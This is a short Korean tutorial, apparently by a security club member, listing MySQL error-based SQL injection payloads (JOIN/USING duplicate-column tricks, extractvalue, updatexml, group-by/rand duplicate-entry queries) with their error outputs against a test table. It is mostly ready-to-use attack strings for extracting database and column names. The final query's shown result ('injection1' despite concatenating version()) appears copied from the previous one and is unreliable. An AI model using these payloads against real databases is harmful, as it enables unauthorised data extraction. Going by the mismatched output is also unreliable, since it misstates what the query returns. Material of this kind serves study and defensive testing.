Error based sql injection query lists

HackCat 소속 김용진

이 문서에서는 MYSQL error based sql injection의 query 목록들을 알아보도록 하겠다.

1. Join을 통한 error based sql injection

쿼리 : select * from injection where ID=1 and (select * from (select * from injection join injection a) b)

결과 : ERROR 1060 (42S21): Duplicate column name 'ID'

첫 번째 컬림은 ID이다 그럼 두 번째 컬림을 찾아야 할 때는 어떻게 해야 할까.
바로 using을 이용해 따 내야한다 (using은 필자도 뭐하는 얘 인지 자세히 모른다.)

쿼리 : select * from injection where ID=1 and (select * from (select * from injection join injection a using(ID)) b)

결과 : ERROR 1060 (42S21): Duplicate column name 'PW'

이렇게 Join사용해 컬림을 구할 수 있다는 것을 알 수가 있다.
하지만 이 경우, 테이블 이름을 알고 있다는 가정 하에 진행할 수 있는 방법이다.

2. ExtractValue, UpdateXML을 통한 error baesd sql injection

쿼리 : select * from injection where id=1 and extractvalue(1,concat(1,database()))

결과 :ERROR 1105 (HY000): XPATH syntax error: 'injection'

쿼리 : select * from injection where id=1 and updatexml(1,concat(1,database()),1)

결과 :ERROR 1105 (HY000): XPATH syntax error: 'injection'

3. 그 외 쿼리 목록

쿼리 : select * from injection where 1=1 and (@:=1)or@ group by concat(database(),@:=!@)having@||min(0)

결과 : ERROR 1062 (23000): Duplicate entry 'injection1' for key 'group_key'

쿼리 : select * from injection where 1=1 and row(1,1)>(select count(*),concat(version(),floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1)

결과 : ERROR 1062 (23000): Duplicate entry 'injection1' for key 'group_key'